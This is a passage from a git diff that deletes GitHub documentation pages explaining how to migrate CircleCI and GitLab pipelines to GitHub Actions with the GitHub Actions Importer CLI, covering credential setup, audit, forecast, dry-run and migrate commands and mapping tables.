`BITBUCKET_DEPLOYMENT_ENVIRONMENT_UUID` | No Mapping | -| `BITBUCKET_BOOKMARK` | No Mapping | -| `BITBUCKET_PARALLEL_STEP` | No Mapping | -| `BITBUCKET_PARALLEL_STEP_COUNT` | No Mapping | - -### System Variables - -System variables used in tasks are transformed to the equivalent bash shell variable and are assumed to be available. For example, `${system.<variable.name>}` will be transformed to `$variable_name`. We recommend you verify this to ensure proper operation of the workflow. - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-circleci-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-circleci-with-github-actions-importer.md deleted file mode 100644 index bc372b41f340..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-circleci-with-github-actions-importer.md +++ /dev/null @@ -1,362 +0,0 @@ ---- -title: Migrating from CircleCI with GitHub Actions Importer -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your CircleCI pipelines to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Migration - - CI - - CD -shortTitle: CircleCI migration -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/migrating-from-circleci-with-github-actions-importer ---- - -[Legal notice](#legal-notice) - -## About migrating from CircleCI with GitHub Actions Importer - -The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate CircleCI pipelines to {% data variables.product.prodname_actions %}. - -### Prerequisites - -* A CircleCI account or organization with projects and pipelines that you want to convert to {% data variables.product.prodname_actions %} workflows. -* Access to create a CircleCI personal API token for your account or organization. -{% data reusables.actions.actions-importer-prerequisites %} - -### Limitations - -There are some limitations when migrating from CircleCI to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}: - -* Automatic caching in between jobs of different workflows is not supported. -* The `audit` command is only supported when you use a CircleCI organization account. The `dry-run` and `migrate` commands can be used with a CircleCI organization or user account. - -#### Manual tasks - -Certain CircleCI constructs must be migrated manually. These include: - -* Contexts -* Project-level environment variables -* Unknown job properties -* Unknown orbs - -## Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -## Configuring credentials - -The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with CircleCI and {% data variables.product.prodname_dotcom %}. - -1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - Your token must have the `workflow` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. Create a CircleCI personal API token. For more information, see [Managing API Tokens](https://circleci.com/docs/managing-api-tokens/#creating-a-personal-api-token) in the CircleCI documentation. - - After creating the token, copy it and save it in a safe location for later use. -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command: - - ```shell - gh actions-importer configure - ``` - - The `configure` command will prompt you for the following information: - - * For "Which CI providers are you configuring?", use the arrow keys to select `CircleCI`, press <kbd>Space</kbd> to select it, then press <kbd>Enter</kbd>. - * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press <kbd>Enter</kbd>.{% else %}press <kbd>Enter</kbd> to accept the default value (`https://github.com`).{% endif %} - * For "{% data variables.product.pat_generic_caps %} for CircleCI", enter the value for the CircleCI personal API token that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the CircleCI instance", press <kbd>Enter</kbd> to accept the default value (`https://circleci.com`). - * For "CircleCI organization name", enter the name for your CircleCI organization, and press <kbd>Enter</kbd>. - - An example of the `configure` command is shown below: - - ```shell - $ gh actions-importer configure - ✔ Which CI providers are you configuring?: CircleCI - Enter the following values (leave empty to omit): - ✔ {% data variables.product.pat_generic_caps %} for GitHub: *************** - ✔ Base url of the GitHub instance: https://github.com - ✔ {% data variables.product.pat_generic_caps %} for CircleCI: ******************** - ✔ Base url of the CircleCI instance: https://circleci.com - ✔ CircleCI organization name: mycircleciorganization - Environment variables successfully updated. - ``` - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version: - - ```shell - gh actions-importer update - ``` - - The output of the command should be similar to below: - - ```shell - Updating ghcr.io/actions-importer/cli:latest... - ghcr.io/actions-importer/cli:latest up-to-date - ``` - -## Perform an audit of CircleCI - -You can use the `audit` command to get a high-level view of all projects in a CircleCI organization. - -The `audit` command performs the following steps: - -1. Fetches all of the projects defined in a CircleCI organization. -1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. -1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}. - -### Running the audit command - -To perform an audit of a CircleCI organization, run the following command in your terminal: - -```shell -gh actions-importer audit circle-ci --output-dir tmp/audit -``` - -### Inspecting the audit results - -{% data reusables.actions.gai-inspect-audit %} - -## Forecast potential {% data variables.product.prodname_actions %} usage - -You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in CircleCI. - -### Running the forecast command - -To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report. - -```shell -gh actions-importer forecast circle-ci --output-dir tmp/forecast_reports -``` - -### Inspecting the forecast report - -The `forecast_report.md` file in the specified output directory contains the results of the forecast. - -Listed below are some key terms that can appear in the forecast report: - -* The **job count** is the total number of completed jobs. -* The **pipeline count** is the number of unique pipelines used. -* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners. - - This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs. -* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it. -* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure. - -Additionally, these metrics are defined for each queue of runners in CircleCI. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners. - -## Perform a dry-run migration of a CircleCI pipeline - -You can use the `dry-run` command to convert a CircleCI pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline. - -To perform a dry run of migrating your CircleCI project to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-circle-ci-project` with the name of your CircleCI project. - -```shell -gh actions-importer dry-run circle-ci --output-dir tmp/dry-run --circle-ci-project my-circle-ci-project -``` - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -{% data reusables.actions.gai-custom-transformers-rec %} - -## Perform a production migration of a CircleCI pipeline - -You can use the `migrate` command to convert a CircleCI pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the migrate command - -To migrate a CircleCI pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `my-circle-ci-project` with the name of your CircleCI project. - -```shell -gh actions-importer migrate circle-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --circle-ci-project my-circle-ci-project -``` - -The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate circle-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --circle-ci-project my-circle-ci-project -[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log' -[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -{% data reusables.actions.gai-inspect-pull-request %} - -## Reference - -This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from CircleCI. - -### Using environment variables - -{% data reusables.actions.gai-config-environment-variables %} - -{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your CircleCI instance: - -* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires `repo` and `workflow` scopes). -* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`). -* `CIRCLE_CI_ACCESS_TOKEN`: The CircleCI personal API token used to authenticate with your CircleCI instance. -* `CIRCLE_CI_INSTANCE_URL`: The URL to the CircleCI instance (for example, `https://circleci.com`). If the variable is left unset, `https://circleci.com` is used as the default value. -* `CIRCLE_CI_ORGANIZATION`: The organization name of your CircleCI instance. -* `CIRCLE_CI_PROVIDER`: The location where your pipeline's source file is stored (such as `github`). Currently, only {% data variables.product.prodname_dotcom %} is supported. -* `CIRCLE_CI_SOURCE_GITHUB_ACCESS_TOKEN` (Optional): The {% data variables.product.pat_v1 %} used to authenticate with your source {% data variables.product.prodname_dotcom %} instance (requires `repo` scope). If not provided, the value of `GITHUB_ACCESS_TOKEN` is used instead. -* `CIRCLE_CI_SOURCE_GITHUB_INSTANCE_URL` (Optional): The URL to the source {% data variables.product.prodname_dotcom %} instance. If not provided, the value of `GITHUB_INSTANCE_URL` is used instead. - -These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run. - -### Optional arguments - -{% data reusables.actions.gai-optional-arguments-intro %} - -#### `--source-file-path` - -You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. - -For example: - -```shell -gh actions-importer dry-run circle-ci --output-dir ./output/ --source-file-path ./path/to/.circleci/config.yml -``` - -If you would like to supply multiple source files when running the `forecast` subcommand, you can use pattern matching in the file path value. For example, `gh forecast --source-file-path ./tmp/previous_forecast/jobs/*.json` supplies {% data variables.product.prodname_actions_importer %} with any source files that match the `./tmp/previous_forecast/jobs/*.json` file path. - -#### `--config-file-path` - -You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead. - -The `--config-file-path` argument can also be used to specify which repository a converted composite action should be migrated to. - -##### Audit example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit. - -```bash -gh actions-importer audit circle-ci --output-dir ./output/ --config-file-path ./path/to/circle-ci/config.yml -``` - -To audit a CircleCI instance using a config file, the config file must be in the following format, and each `repository_slug` must be unique: - -```yaml -source_files: - - repository_slug: circle-org-name/circle-project-name - path: path/to/.circleci/config.yml - - repository_slug: circle-org-name/some-other-circle-project-name - path: path/to/.circleci/config.yml -``` - -##### Dry run example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run. - -The pipeline is selected by matching the `repository_slug` in the config file to the value of the `--circle-ci-organization` and `--circle-ci-project` options. The `path` is then used to pull the specified source file. - -```bash -gh actions-importer dry-run circle-ci --circle-ci-project circle-org-name/circle-project-name --output-dir ./output/ --config-file-path ./path/to/circle-ci/config.yml -``` - -##### Specify the repository of converted composite actions - -{% data variables.product.prodname_actions_importer %} uses the YAML file provided to the `--config-file-path` argument to determine the repository that converted composite actions are migrated to. - -To begin, you should run an audit without the `--config-file-path` argument: - -```bash -gh actions-importer audit circle-ci --output-dir ./output/ -``` - -The output of this command will contain a file named `config.yml` that contains a list of all the composite actions that were converted by {% data variables.product.prodname_actions_importer %}. For example, the `config.yml` file may have the following contents: - -```yaml -composite_actions: - - name: my-composite-action.yml - target_url: https://github.com/octo-org/octo-repo - ref: main -``` - -You can use this file to specify which repository and ref a reusable workflow or composite action should be added to. You can then use the `--config-file-path` argument to provide the `config.yml` file to {% data variables.product.prodname_actions_importer %}. For example, you can use this file when running a `migrate` command to open a pull request for each unique repository defined in the config file: - -```bash -gh actions-importer migrate circle-ci --circle-ci-project my-project-name --output-dir output/ --config-file-path config.yml --target-url https://github.com/my-org/my-repo -``` - -#### `--include-from` - -You can use the `--include-from` argument with the `audit` subcommand. - -The `--include-from` argument specifies a file that contains a line-delimited list of repositories to include in the audit of a CircleCI organization. Any repositories that are not included in the file are excluded from the audit. - -For example: - -```bash -gh actions-importer audit circle-ci --output-dir ./output/ --include-from repositories.txt -``` - -The file supplied for this parameter must be a line-delimited list of repositories, for example: - -```text -repository_one -repository_two -repository_three -``` - -### Supported syntax for CircleCI pipelines - -The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert. - -| CircleCI Pipelines | GitHub Actions | Status | -| :------------------ | :--------------------------------- | :------------------ | -| cron triggers | <ul><li>`on.schedule`</li></ul> | Supported | -| environment | <ul><li>`env`</li><li>`jobs.<job_id>.env`</li><li>`jobs.<job_id>.steps.env`</li></ul> | Supported | -| executors | <ul><li>`runs-on`</li></ul> | Supported | -| jobs | <ul><li>`jobs`</li></ul> | Supported | -| job | <ul><li>`jobs.<job_id>`</li><li>`jobs.<job_id>.name`</li></ul> | Supported | -| matrix | <ul><li>`jobs.<job_id>.strategy`</li><li>`jobs.<job_id>.strategy.matrix`</li></ul> | Supported | -| parameters | <ul><li>`env`</li><li>`workflow-dispatch.inputs`</li></ul> | Supported | -| steps | <ul><li>`jobs.<job_id>.steps`</li></ul> | Supported | -| when, unless | <ul><li>`jobs.<job_id>.if`</li></ul> | Supported | -| triggers | <ul><li>`on`</li></ul> | Supported | -| executors | <ul><li>`container`</li><li>`services`</li></ul> | Partially Supported | -| orbs | <ul><li>`actions`</li></ul> | Partially Supported | -| executors | <ul><li>`self hosted runners`</li></ul> | Unsupported | -| setup | Not applicable | Unsupported | -| version | Not applicable | Unsupported | - -For more information about supported CircleCI concept and orb mappings, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/circle_ci/index.md). - -### Environment variable mapping - -{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default CircleCI environment variables to the closest equivalent in {% data variables.product.prodname_actions %}. - -| CircleCI | GitHub Actions | -| :------------------------------------ | :--------------------------------------------- | -| `CI` | {% raw %}`$CI`{% endraw %} | -| `CIRCLE_BRANCH` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `CIRCLE_JOB` | {% raw %}`${{ github.job }}`{% endraw %} | -| `CIRCLE_PR_NUMBER` | {% raw %}`${{ github.event.number }}`{% endraw %} | -| `CIRCLE_PR_REPONAME` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `CIRCLE_PROJECT_REPONAME` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `CIRCLE_SHA1` | {% raw %}`${{ github.sha }}`{% endraw %} | -| `CIRCLE_TAG` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `CIRCLE_USERNAME` | {% raw %}`${{ github.actor }}`{% endraw %} | -| `CIRCLE_WORKFLOW_ID` | {% raw %}`${{ github.run_number }}`{% endraw %} | -| `CIRCLE_WORKING_DIRECTORY` | {% raw %}`${{ github.workspace }}`{% endraw %} | -| `<< pipeline.id >>` | {% raw %}`${{ github.workflow }}`{% endraw %} | -| `<< pipeline.number >>` | {% raw %}`${{ github.run_number }}`{% endraw %} | -| `<< pipeline.project.git_url >>` | `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY` | -| `<< pipeline.project.type >>` | `github` | -| `<< pipeline.git.tag >>` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `<< pipeline.git.branch >>` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `<< pipeline.git.revision >>` | {% raw %}`${{ github.event.pull_request.head.sha }}`{% endraw %} | -| `<< pipeline.git.base_revision >>` | {% raw %}`${{ github.event.pull_request.base.sha }}`{% endraw %} | - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-gitlab-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-gitlab-with-github-actions-importer.md deleted file mode 100644 index 2be6fefb1870..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-gitlab-with-github-actions-importer.md +++ /dev/null @@ -1,421 +0,0 @@ ---- -title: Migrating from GitLab with GitHub Actions Importer -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your GitLab pipelines to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Migration - - CI - - CD -shortTitle: GitLab migration -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/migrating-from-gitlab-with-github-actions-importer ---- - -[Legal notice](#legal-notice) - -## About migrating from GitLab with GitHub Actions Importer - -The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate GitLab pipelines to {% data variables.product.prodname_actions %}. - -### Prerequisites - -* A GitLab account or organization with pipelines and jobs that you want to convert to {% data variables.product.prodname_actions %} workflows. -* Access to create a GitLab {% data variables.product.pat_generic %} for your account or organization. -{% data reusables.actions.actions-importer-prerequisites %} - -### Limitations - -There are some limitations on migrating processes automatically from GitLab pipelines to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}. - -* Automatic caching in between jobs of different workflows is not supported. -* The `audit` command is only supported when using an organization account. However, the `dry-run` and `migrate` commands can be used with an organization or user account. - -#### Manual tasks - -Certain GitLab constructs must be migrated manually. These include: - -* Masked project or group variable values -* Artifact reports - -For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions). - -## Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -## Configuring credentials - -The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with GitLab and {% data variables.product.prodname_dotcom %}. - -1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - Your token must have the `workflow` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. Create a GitLab {% data variables.product.pat_generic %}. For more information, see [{% data variables.product.pat_generic_caps_plural %}](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) in the GitLab documentation. - - Your token must have the `read_api` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command: - - ```shell - gh actions-importer configure - ``` - - The `configure` command will prompt you for the following information: - - * For "Which CI providers are you configuring?", use the arrow keys to select `GitLab`, press <kbd>Space</kbd> to select it, then press <kbd>Enter</kbd>. - * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press <kbd>Enter</kbd>.{% else %}press <kbd>Enter</kbd> to accept the default value (`https://github.com`).{% endif %} - * For "Private token for GitLab", enter the value for the GitLab {% data variables.product.pat_generic %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitLab instance", enter the URL of your GitLab instance, and press <kbd>Enter</kbd>. - - An example of the output of the `configure` command is shown below. - - ```shell - $ gh actions-importer configure - ✔ Which CI providers are you configuring?: GitLab - Enter the following values (leave empty to omit): - ✔ {% data variables.product.pat_generic_caps %} for GitHub: *************** - ✔ Base url of the GitHub instance: https://github.com - ✔ Private token for GitLab: *************** - ✔ Base url of the GitLab instance: http://localhost - Environment variables successfully updated. - ``` - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version: - - ```shell - gh actions-importer update - ``` - - The output of the command should be similar to below: - - ```shell - Updating ghcr.io/actions-importer/cli:latest... - ghcr.io/actions-importer/cli:latest up-to-date - ``` - -## Perform an audit of GitLab - -You can use the `audit` command to get a high-level view of all pipelines in a GitLab server. - -The `audit` command performs the following steps: - -1. Fetches all of the projects defined in a GitLab server. -1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. -1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}. - -### Prerequisites for the audit command - -In order to use the `audit` command, you must have a {% data variables.product.pat_generic %} configured with a GitLab organization account. - -### Running the audit command - -To perform an audit of a GitLab server, run the following command in your terminal, replacing `my-gitlab-namespace` with the namespace or group you are auditing: - -```shell -gh actions-importer audit gitlab --output-dir tmp/audit --namespace my-gitlab-namespace -``` - -### Inspecting the audit results - -{% data reusables.actions.gai-inspect-audit %} - -## Forecast potential build runner usage - -You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your GitLab server. - -### Running the forecast command - -To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal, replacing `my-gitlab-namespace` with the namespace or group you are forecasting. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report. - -```shell -gh actions-importer forecast gitlab --output-dir tmp/forecast --namespace my-gitlab-namespace -``` - -### Forecasting an entire namespace - -To forecast an entire namespace and all of its subgroups, you must specify each subgroup in the `--namespace` argument or `NAMESPACE` environment variable. - -For example: - -```shell -gh actions-importer forecast gitlab --namespace my-gitlab-namespace my-gitlab-namespace/subgroup-one my-gitlab-namespace/subgroup-two ... -``` - -### Inspecting the forecast report - -The `forecast_report.md` file in the specified output directory contains the results of the forecast. - -Listed below are some key terms that can appear in the forecast report: - -* The **job count** is the total number of completed jobs. -* The **pipeline count** is the number of unique pipelines used. -* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners. - * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs. -* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it. -* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure. - -Additionally, these metrics are defined for each queue of runners in GitLab. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners. - -## Perform a dry-run migration of a GitLab pipeline - -You can use the `dry-run` command to convert a GitLab pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the dry-run command - -You can use the `dry-run` command to convert a GitLab pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline. - -To perform a dry run of migrating your GitLab pipelines to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-gitlab-project` with your GitLab project slug, and `my-gitlab-namespace` with the namespace or group (full group path for subgroups, e.g. `my-org/my-team`) you are performing a dry run for. - -```shell -gh actions-importer dry-run gitlab --output-dir tmp/dry-run --namespace my-gitlab-namespace --project my-gitlab-project -``` - -### Inspecting the converted workflows - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -{% data reusables.actions.gai-custom-transformers-rec %} - -## Perform a production migration of a GitLab pipeline - -You can use the `migrate` command to convert a GitLab pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the migrate command - -To migrate a GitLab pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the following values: - -* `target-url` value with the URL for your {% data variables.product.github %} repository -* `my-gitlab-project` with your GitLab project slug -* `my-gitlab-namespace` with the namespace or group you are migrating (full path for subgroups, e.g. `my-org/my-team`) - -```shell -gh actions-importer migrate gitlab --target-url https://github.com/:owner/:repo --output-dir tmp/migrate --namespace my-gitlab-namespace --project my-gitlab-project -``` - -The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate gitlab --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --namespace octo-org --project monas-project -[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log' -[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -{% data reusables.actions.gai-inspect-pull-request %} - -## Reference - -This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from GitLab. - -### Using environment variables - -{% data reusables.actions.gai-config-environment-variables %} - -{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your GitLab instance: - -* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires the `workflow` scope). -* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`). -* `GITLAB_ACCESS_TOKEN`: The GitLab {% data variables.product.pat_generic %} used to view GitLab resources. -* `GITLAB_INSTANCE_URL`: The URL of the GitLab instance. -* `NAMESPACE`: The namespaces or groups that contain the GitLab pipelines. - -These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run. - -### Using optional arguments - -{% data reusables.actions.gai-optional-arguments-intro %} - -#### `--source-file-path` - -You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. - -For example: - -```shell -gh actions-importer dry-run gitlab --output-dir output/ --namespace my-gitlab-namespace --project my-gitlab-project --source-file-path path/to/.gitlab-ci.yml -``` - -If you would like to supply multiple source files when running the `forecast` subcommand, you can use pattern matching in the file path value. The following example supplies {% data variables.product.prodname_actions_importer %} with any source files that match the `./tmp/previous_forecast/jobs/*.json` file path. - -```shell -gh actions-importer forecast gitlab --output-dir output/ --namespace my-gitlab-namespace --project my-gitlab-project --source-file-path ./tmp/previous_forecast/jobs/*.json -``` - -#### `--config-file-path` - -You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead. - -The `--config-file-path` argument can also be used to specify which repository a converted reusable workflow should be migrated to. - -##### Audit example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit. - -```shell -gh actions-importer audit gitlab --output-dir path/to/output/ --namespace my-gitlab-namespace --config-file-path path/to/gitlab/config.yml -``` - -To audit a GitLab instance using a configuration file, the file must be in the following format, and each `repository_slug` value must be unique: - -```yaml -source_files: - - repository_slug: namespace/project-name - path: path/to/.gitlab-ci.yml - - repository_slug: namespace/some-other-project-name - path: path/to/.gitlab-ci.yml -``` - -##### Dry run example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run. - -The pipeline is selected by matching the `repository_slug` in the configuration file to the value of the `--namespace` and `--project` options. The `path` is then used to pull the specified source file. - -```shell -gh actions-importer dry-run gitlab --namespace my-gitlab-namespace --project my-gitlab-project-name --output-dir ./output/ --config-file-path ./path/to/gitlab/config.yml -``` - -##### Specify the repository of converted reusable workflows - -{% data variables.product.prodname_actions_importer %} uses the YAML file provided to the `--config-file-path` argument to determine the repository that converted reusable workflows are migrated to. - -To begin, you should run an audit without the `--config-file-path` argument: - -```shell -gh actions-importer audit gitlab --output-dir ./output/ -``` - -The output of this command will contain a file named `config.yml` that contains a list of all the composite actions that were converted by {% data variables.product.prodname_actions_importer %}. For example, the `config.yml` file may have the following contents: - -```yaml -reusable_workflows: - - name: my-reusable-workflow.yml - target_url: https://github.com/octo-org/octo-repo - ref: main -``` - -You can use this file to specify which repository and ref a reusable workflow or composite action should be added to. You can then use the `--config-file-path` argument to provide the `config.yml` file to {% data variables.product.prodname_actions_importer %}. For example, you can use this file when running a `migrate` command to open a pull request for each unique repository defined in the config file: - -```shell -gh actions-importer migrate gitlab --project my-project-name --output-dir output/ --config-file-path config.yml --target-url https://github.com/my-org/my-repo -``` - -### Supported syntax for GitLab pipelines - -The following table shows the type of properties {% data variables.product.prodname_actions_importer %} is currently able to convert. For more details about how GitLab pipeline syntax aligns with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions). - -| GitLab Pipelines | GitHub Actions | Status | -| :-------------------------------------- | :------------------------------ | :-------------------------- | -| `after_script` | `jobs.<job_id>.steps` | Supported | -| `auto_cancel_pending_pipelines` | `concurrency` | Supported | -| `before_script` | `jobs.<job_id>.steps` | Supported | -| `build_timeout` or `timeout` | `jobs.<job_id>.timeout-minutes` | Supported | -| `default` | Not applicable | Supported | -| `image` | `jobs.<job_id>.container` | Supported | -| `job` | `jobs.<job_id>` | Supported | -| `needs` | `jobs.<job_id>.needs` | Supported | -| `only_allow_merge_if_pipeline_succeeds` | `on.pull_request` | Supported | -| `resource_group` | `jobs.<job_id>.concurrency` | Supported | -| `schedule` | `on.schedule` | Supported | -| `script` | `jobs.<job_id>.steps` | Supported | -| `stages` | `jobs` | 